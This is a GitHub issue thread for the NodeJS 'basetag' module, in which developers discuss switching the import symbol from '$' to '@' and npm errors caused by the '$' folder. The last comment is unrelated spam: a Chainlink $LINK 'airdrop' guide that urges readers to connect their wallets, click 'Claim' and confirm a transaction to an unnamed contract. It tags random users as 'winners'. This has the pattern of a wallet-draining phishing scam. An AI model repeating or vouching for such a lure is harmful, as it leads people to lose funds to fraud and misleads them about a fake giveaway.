janniks / basetag

βšΎοΈβ€‚A better way to import local NodeJS modules
MIT License
37 stars 3 forks source link

'@' instead of '$' #15

Open coolaj86 opened 3 years ago

coolaj86 commented 3 years ago

If there's ever a v2 of this, I'd recommend using @ rather than $.

janniks commented 3 years ago

Thanks for the feedback!

Fun fact: The package was called at-base previously and used the @. Unfortunately, node/npm treat it a bit differently and using the @ would delete/move files in actual projects (very weird bug to figure out). But I guess this is somewhat related to the usage of @name/package in npm.

The @ would have been my first choice too. I thought about using the Β§ but that's also strange.

janniks commented 3 years ago

~Does the shell variable escaping give you any problems when using basetag?~

coolaj86 commented 3 years ago

Does the shell variable escaping give you any problems when using basetag?

No, and yes. I did ls node_modules/$ which, of course, didn't work. More user error than anything.

@ would delete/move files in actual projects

Do you have any more details on that? I've submitted patches to npm before and I might look into it... someday.

janniks commented 3 years ago

Got it!

I've been thinking about a customizable basetag symbol for v2. Could be done via an optional package.json attribute or .basetagrc or similar. Users could use the default or customize to whatever.

Should be a super simple feature, I'll test it out over the next days and see if there's an issue with @...

tuomassalo commented 3 years ago

@coolaj86

Do you have any more details on that? I've submitted patches to npm before and I might look into it... someday.

See https://gist.github.com/branneman/8048520#gistcomment-3009096 for some (scarce) details.

janniks commented 3 years ago

Good catch! Maybe this was the issue I though I was having with @.

I will do some investigating and think of a solution (maybe combined with #18 )

coolaj86 commented 3 years ago

I ran into this today:

npm ERR! code EINVALIDPACKAGENAME
npm ERR! Invalid package name "$": name can only contain URL-friendly characters

The workaround, of course, was

rm node_modules/\$
npm install

Voting again for @.

janniks commented 3 years ago

Damn 😬

You can try to use @ for a project (that you have backed up somewhere). Last time I tried, npm started deleting random folders in my local project. I think this is due to @ being used in GitHub username handling e.g. import from @janniks/basetag. If you find @ to work β€” great! But I'm not sure it will from a technical standpoint.

Otherwise, we might need to switch to - . _ ~ ( ) ' ! * : , ; β€” not great πŸ™ƒ

ikubij commented 9 months ago

πŸͺ‚ Chainlink $LINK Airdrop: How to Qualify for Chainlink $LINK Coin Airdrop?

If you're interested in holder airdrops and governance tokens, the Chainlink $LINK initiative airdrop is a great opportunity. This guide will walk you through the process, explaining how to join the airdrop and what to expect.

Claim Now

πŸš€ Steps to Secure Your Chainlink $LINK Airdrop:

  1. Connect Your Wallet:

  2. Eligibility Check:

    • Confirm your eligibility for the airdrop here.
  3. Interact with the Contract:

    • Use the connect method on the Chainlink network to secure your participation.
      • Open your connected wallet.
      • Navigate to the Chainlink $LINK Airdrop contract.
      • Locate the 'Claim' or equivalent button.
      • Confirm the transaction to connect your wallet to the airdrop contract.
  4. Engage for Extra Rewards:

    • Dive into community discussions or complete tasks for additional bonus rewards.

🌈 Bonus Tips for Chainlink $LINK Airdrop Success:

Feel free to share your Chainlink $LINK Airdrop experiences or ask any questions in the comments below. Let's make this process a breeze for everyone!

Winners: @orcsor, @Ozkabgundogan, @hirawatt, @viannaandreBR, @ilovelaseine, @aliirz1992, @Nookeemnstr